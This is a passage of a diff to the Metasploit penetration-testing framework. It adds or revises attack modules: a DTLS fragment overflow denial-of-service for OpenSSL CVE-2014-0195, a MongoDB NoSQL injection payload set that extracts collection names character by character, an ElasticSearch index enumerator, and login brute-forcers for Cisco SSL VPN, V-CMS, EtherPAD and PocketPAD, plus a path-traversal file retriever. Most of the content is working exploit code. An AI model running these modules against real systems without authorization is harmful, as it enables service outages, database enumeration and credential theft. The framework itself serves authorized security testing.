fragment lengths of later fragments are larger than that of the first, a
|
||||
buffer overflow occurs, causing a DoS.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0195'],
|
||||
['ZDI', '14-173'],
|
||||
['BID', '67900'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 05 2014'))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(4433),
|
||||
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
|
||||
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
|
||||
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
|
||||
sol = (seq << 48) | (frag_offset << 24) | frag_length
|
||||
[
|
||||
(type << 24) | length,
|
||||
(sol >> 32),
|
||||
(sol & 0x00000000FFFFFFFF)
|
||||
].pack("NNN") + frag_body
|
||||
end
|
||||
|
||||
def build_tls_message(type, version, epoch, sequence, message)
|
||||
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
|
||||
# sequence # (6 bytes) + message length (2 bytes), message body
|
||||
es = (epoch << 48) | sequence
|
||||
[
|
||||
type,
|
||||
version,
|
||||
(es >> 32),
|
||||
(es & 0x00000000FFFFFFFF),
|
||||
message.length
|
||||
].pack("CnNNn") + message
|
||||
end
|
||||
|
||||
def run
|
||||
# add a small fragment
|
||||
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
|
||||
# add a large fragment where the length is significantly larger than that of the first
|
||||
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
|
||||
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
|
||||
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
|
||||
connect_udp
|
||||
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
|
||||
udp_sock.put(message)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
## This module requires Metasploit: http//metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
|
||||
'Description' => %q{
|
||||
This module can exploit NoSQL injections on MongoDB versions less than 2.4
|
||||
and enumerate the collections available in the data via boolean injections.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
['Brandon Perry <bperry.volatile[at]gmail.com>'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']
|
||||
],
|
||||
'Platform' => ['linux', 'win'],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jun 7 2014"))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def syntaxes
|
||||
[["\"'||this||'", "'||[inject]||'"],
|
||||
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
|
||||
['\'"||this||"','"||[inject]||"'],
|
||||
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
|
||||
["||this","||[inject]"]]
|
||||
end
|
||||
|
||||
def run
|
||||
uri = datastore['TARGETURI']
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', '')
|
||||
})
|
||||
|
||||
if !res
|
||||
fail_with("Server did not respond in an expected way.")
|
||||
end
|
||||
|
||||
pay = ""
|
||||
fals = res.body
|
||||
tru = nil
|
||||
|
||||
syntaxes.each do |payload|
|
||||
print_status("Testing " + payload[0])
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', payload[0])
|
||||
})
|
||||
|
||||
if res and res.body != fals and res.code == 200
|
||||
print_status("Looks like " + payload[0] + " works")
|
||||
tru = res.body
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
|
||||
})
|
||||
|
||||
if res and res.body != tru and res.code == 200
|
||||
vprint_status("I think I confirmed with a negative test.")
|
||||
fals = res.body
|
||||
pay = payload[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if pay == ''
|
||||
fail_with("Couldn't detect a payload, maybe it isn't injectable.")
|
||||
end
|
||||
|
||||
length = 0
|
||||
vprint_status("Getting length of the number of collections.")
|
||||
(0..100).each do |len|
|
||||
str = "db.getCollectionNames().length==#{len}"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
||||
})
|
||||
|
||||
if res and res.body == tru
|
||||
length = len
|
||||
print_status("#{len} collections are available")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Getting collection names")
|
||||
|
||||
names = []
|
||||
(0...length).each do |i|
|
||||
vprint_status("Getting length of name for collection " + i.to_s)
|
||||
|
||||
name_len = 0
|
||||
(0..100).each do |k|
|
||||
str = "db.getCollectionNames()[#{i}].length==#{k}"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
||||
})
|
||||
|
||||
if res and res.body == tru
|
||||
name_len = k
|
||||
print_status("Length of collection #{i}'s name is #{k}")
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Getting collection #{i}'s name")
|
||||
|
||||
name = ''
|
||||
(0...name_len).each do |k|
|
||||
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
|
||||
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
|
||||
res = send_request_cgi({
|
||||
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
|
||||
})
|
||||
|
||||
if res and res.body == tru
|
||||
name << c
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Collections #{i}'s name is " + name)
|
||||
names << name
|
||||
end
|
||||
|
||||
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
|
||||
"text/plain",
|
||||
nil,
|
||||
names.to_json,
|
||||
"mongo_injection_#{datastore['RHOST']}.txt",
|
||||
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
|
||||
|
||||
print_good("Your collections are located at: " + p)
|
||||
end
|
||||
end
|
|
@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
users_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'vBulletin Users',
|
||||
'Ident' => 1,
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Password Hash', 'Salt']
|
||||
)
|
||||
|
||||
|
|
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
key_md5 = ::Rex::Text.md5(key)
|
||||
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
|
||||
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
|
||||
uri << hash_path
|
||||
url << hash_path
|
||||
|
||||
result = nil
|
||||
begin
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -11,11 +12,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
DEPRECATION_DATE = Date.new(2014, 07, 29)
|
||||
DEPRECATION_REPLACEMENT = 'auxiliary/scanner/elasticsearch/indices_enum'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Indeces Enumeration Utility',
|
||||
'Name' => 'ElasticSearch Indices Enumeration Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates ElasticSearch Indeces. It uses the REST API
|
||||
This module enumerates ElasticSearch Indices. It uses the REST API
|
||||
in order to make it.
|
||||
},
|
||||
'Author' =>
|
||||
|
@ -36,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Querying indeces...")
|
||||
vprint_status("#{peer} - Querying indices...")
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => '/_aliases',
|
||||
|
@ -66,10 +72,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:name => 'elasticsearch'
|
||||
)
|
||||
|
||||
indeces = []
|
||||
indices = []
|
||||
|
||||
json_body.each do |index|
|
||||
indeces.push(index[0])
|
||||
indices.push(index[0])
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -80,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
if indeces.length > 0
|
||||
print_good("#{peer} - ElasticSearch Indeces found: #{indeces.join(", ")}")
|
||||
if indices.length > 0
|
||||
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ElasticSearch Indices Enumeration Utility',
|
||||
'Description' => %q{
|
||||
This module enumerates ElasticSearch Indices. It uses the REST API
|
||||
in order to make it.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9200)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Querying indices...")
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => '/_aliases',
|
||||
'method' => 'GET',
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
|
||||
vprint_error("#{peer} - Unable to establish connection")
|
||||
return
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
vprint_error("#{peer} - Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
vprint_error("#{peer} - Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'elasticsearch'
|
||||
)
|
||||
|
||||
indices = []
|
||||
|
||||
json_body.each do |index|
|
||||
indices.push(index[0])
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:type => "elasticsearch.index",
|
||||
:data => index[0],
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
if indices.length > 0
|
||||
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,227 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
|
||||
'Description' => %{
|
||||
This module scans for Cisco SSL VPN web login portals and
|
||||
performs login brute force to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jonathan Claudius <jclaudius[at]trustwave.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'USERNAME' => 'cisco',
|
||||
'PASSWORD' => 'cisco'
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless check_conn?
|
||||
vprint_error("#{peer} - Connection failed, Aborting...")
|
||||
return false
|
||||
end
|
||||
|
||||
unless is_app_ssl_vpn?
|
||||
vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.")
|
||||
|
||||
groups = Set.new
|
||||
if datastore['GROUP'].empty?
|
||||
vprint_status("#{peer} - Attempt to Enumerate VPN Groups...")
|
||||
groups = enumerate_vpn_groups
|
||||
|
||||
if groups.empty?
|
||||
vprint_warning("#{peer} - Unable to enumerate groups")
|
||||
vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup")
|
||||
groups << "DefaultWEBVPNGroup"
|
||||
else
|
||||
vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}")
|
||||
end
|
||||
|
||||
else
|
||||
groups << datastore['GROUP']
|
||||
end
|
||||
groups << ""
|
||||
|
||||
vprint_status("#{peer} - Starting login brute force...")
|
||||
groups.each do |group|
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass, group)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Verify whether the connection is working or not
|
||||
def check_conn?
|
||||
begin
|
||||
res = send_request_cgi('uri' => '/', 'method' => 'GET')
|
||||
vprint_good("#{peer} - Server is responsive...")
|
||||
rescue ::Rex::ConnectionRefused,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionError,
|
||||
::Errno::EPIPE
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def enumerate_vpn_groups
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+CSCOE+/logon.html',
|
||||
'method' => 'GET',
|
||||
)
|
||||
|
||||
if res &&
|
||||
res.code == 302
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+CSCOE+/logon.html',
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'fcadbadd' => "1" }
|
||||
)
|
||||
end
|
||||
|
||||
groups = Set.new
|
||||
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
|
||||
|
||||
if res &&
|
||||
match = res.body.match(group_name_regex)
|
||||
|
||||
group_string = match[1]
|
||||
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
|
||||
end
|
||||
|
||||
return groups
|
||||
end
|
||||
|
||||
# Verify whether we're working with SSL VPN or not
|
||||
def is_app_ssl_vpn?
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+CSCOE+/logon.html',
|
||||
'method' => 'GET',
|
||||
)
|
||||
|
||||
if res &&
|
||||
res.code == 302
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+CSCOE+/logon.html',
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'fcadbadd' => "1" }
|
||||
)
|
||||
end
|
||||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.body.match(/webvpnlogin/)
|
||||
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def do_logout(cookie)
|
||||
res = send_request_cgi(
|
||||
'uri' => '/+webvpn+/webvpn_logout.html',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
|
||||
# Brute-force the login page
|
||||
def do_login(user, pass, group)
|
||||
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
|
||||
|
||||
begin
|
||||
cookie = "webvpn=; " +
|
||||
"webvpnc=; " +
|
||||
"webvpn_portal=; " +
|
||||
"webvpnSharePoint=; " +
|
||||
"webvpnlogin=1; " +
|
||||
"webvpnLang=en;"
|
||||
|
||||
post_params = {
|
||||
'tgroup' => '',
|
||||
'next' => '',
|
||||
'tgcookieset' => '',
|
||||
'username' => user,
|
||||
'password' => pass,
|
||||
'Login' => 'Logon'
|
||||
}
|
||||
|
||||
post_params['group_list'] = group unless group.empty?
|
||||
|
||||
resp = send_request_cgi(
|
||||
'uri' => '/+webvpn+/index.html',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => post_params
|
||||
)
|
||||
|
||||
if resp &&
|
||||
resp.code == 200 &&
|
||||
resp.body.match(/SSL VPN Service/) &&
|
||||
resp.body.match(/webvpn_logout/i)
|
||||
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
|
||||
|
||||
do_logout(resp.get_cookies)
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'Cisco SSL VPN',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:group => group,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionError,
|
||||
::Errno::EPIPE
|
||||
vprint_error("#{peer} - HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
end
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def get_sid_token
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(@uri.path)
|
||||
'uri' => normalize_uri(@uri)
|
||||
})
|
||||
|
||||
return [nil, nil] if res.nil? || res.get_cookies.empty?
|
||||
|
@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#
|
||||
sid, token = get_sid_token
|
||||
if sid.nil? or token.nil?
|
||||
print_error("#{peer} - Unable to obtain session ID or token, cannot continue")
|
||||
vprint_error("#{peer} - Unable to obtain session ID or token, cannot continue")
|
||||
return :abort
|
||||
else
|
||||
vprint_status("#{peer} - Using sessiond ID: #{sid}")
|
||||
|
@ -72,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri("#{@uri.path}index.php"),
|
||||
'uri' => normalize_uri("#{@uri}index.php"),
|
||||
'cookie' => sid,
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
|
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Connection timed out")
|
||||
vprint_error("#{peer} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
@ -116,8 +117,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
@uri = target_uri.path
|
||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
@uri << "/" if @uri[-1, 1] != "/"
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
each_user_pass { |user, pass|
|
||||
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
|
||||
do_login(user, pass)
|
||||
|
|
|
@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'EtherPAD Duo Login Brute Force Utility',
|
||||
'Name' => 'EtherPAD Duo Login Bruteforce Utility',
|
||||
'Description' => %{
|
||||
This module scans for EtherPAD Duo login portal, and
|
||||
performs a login brute force attack to identify valid credentials.
|
||||
performs a login bruteforce attack to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting login brute force...")
|
||||
print_status("#{peer} - Starting login bruteforce...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
|
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -55,11 +56,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if not res
|
||||
print_error("#{peer} - Connection timed out")
|
||||
vprint_error("#{peer} - Connection timed out")
|
||||
return :abort
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_error("#{peer} - Failed to response")
|
||||
vprint_error("#{peer} - Failed to response")
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
@ -79,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
|
||||
def run
|
||||
def run_host(ip)
|
||||
if anonymous_access?
|
||||
print_status("#{peer} - No login necessary. Server allows anonymous access.")
|
||||
return
|
||||
|
|
|
@ -76,4 +76,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'PocketPAD Login Brute Force Utility',
|
||||
'Name' => 'PocketPAD Login Bruteforce Force Utility',
|
||||
'Description' => %{
|
||||
This module scans for PocketPAD login portal, and
|
||||
performs a login brute force attack to identify valid credentials.
|
||||
performs a login bruteforce attack to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting login brute force...")
|
||||
print_status("#{peer} - Starting login bruteforce...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
|
|
|
@ -96,4 +96,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,6 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -41,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
def run_host(ip)
|
||||
uri = target_uri.path
|
||||
uri << '/' if uri[-1, 1] != '/'
|
||||
|
||||
t = "/.." * datastore['DEPTH']
|
||||
|
||||
print_status("Retrieving #{datastore['FILE']}")
|
||||
vprint_status("#{peer} - Retrieving #{datastore['FILE']}")
|
||||
|
||||
# No permission to access.log or proc/self/environ, so this is all we do :-/
|
||||
uri = normalize_uri(uri, 'index.php')
|
||||
|
@ -57,13 +58,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if not res
|
||||
print_error("Server timed out")
|
||||
vprint_error("#{peer} - Server timed out")
|
||||
elsif res and res.body =~ /Error 404 requested page cannot be found/
|
||||
print_error("Either the file doesn't exist, or you don't have the permission to get it")
|
||||
vprint_error("#{peer} - Either the file doesn't exist, or you don't have the permission to get it")
|
||||
else
|
||||
# We don't save the body by default, because there's also other junk in it.
|
||||
# But we still have a SAVE option just in case
|
||||
print_line(res.body)
|
||||
print_good("#{peer} - #{datastore['FILE']} retrieved")
|
||||
vprint_line(res.body)
|
||||
|
||||
if datastore['SAVE']
|
||||
p = store_loot(
|
||||
|
@ -73,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res.body,
|
||||
::File.basename(datastore['FILE'])
|
||||
)
|
||||
print_status("File saved as: #{p}")
|
||||
print_good("#{peer} - File saved as: #{p}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,14 +10,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'V-CMS Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate to an English-based V-CMS login interface.
|
||||
It should only work against version v1.1 or older, because these versions do not
|
||||
have any default protections against bruteforcing.
|
||||
This module attempts to authenticate to an English-based V-CMS login interface. It
|
||||
should only work against version v1.1 or older, because these versions do not have
|
||||
any default protections against bruteforcing.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
|
@ -31,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms2/'])
|
||||
OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def get_sid
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri.path
|
||||
'uri' => @uri
|
||||
})
|
||||
|
||||
# Get the PHP session ID
|
||||
|
@ -52,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def do_login(user, pass)
|
||||
begin
|
||||
sid = get_sid
|
||||
if sid.nil?
|
||||
vprint_error("#{peer} - Failed to get sid")
|
||||
return :abort
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{@uri}process.php",
|
||||
'method' => 'POST',
|
||||
|
@ -62,9 +68,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'sublogin' => '1'
|
||||
}
|
||||
})
|
||||
|
||||
location = res.headers['Location']
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => location,
|
||||
'method' => 'GET',
|
||||
|
@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :skip_user
|
||||
when /Invalid password/
|
||||
vprint_status("#{peer} - Username found: #{user}")
|
||||
else /\<a href="process\.php\?logout=1"\>/
|
||||
when /\<a href="process\.php\?logout=1"\>/
|
||||
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
|
@ -107,8 +111,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
||||
@uri << "/" if @uri[-1, 1] != "/"
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
each_user_pass { |user, pass|
|
||||
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
|
||||
do_login(user, pass)
|
||||
|
|
|
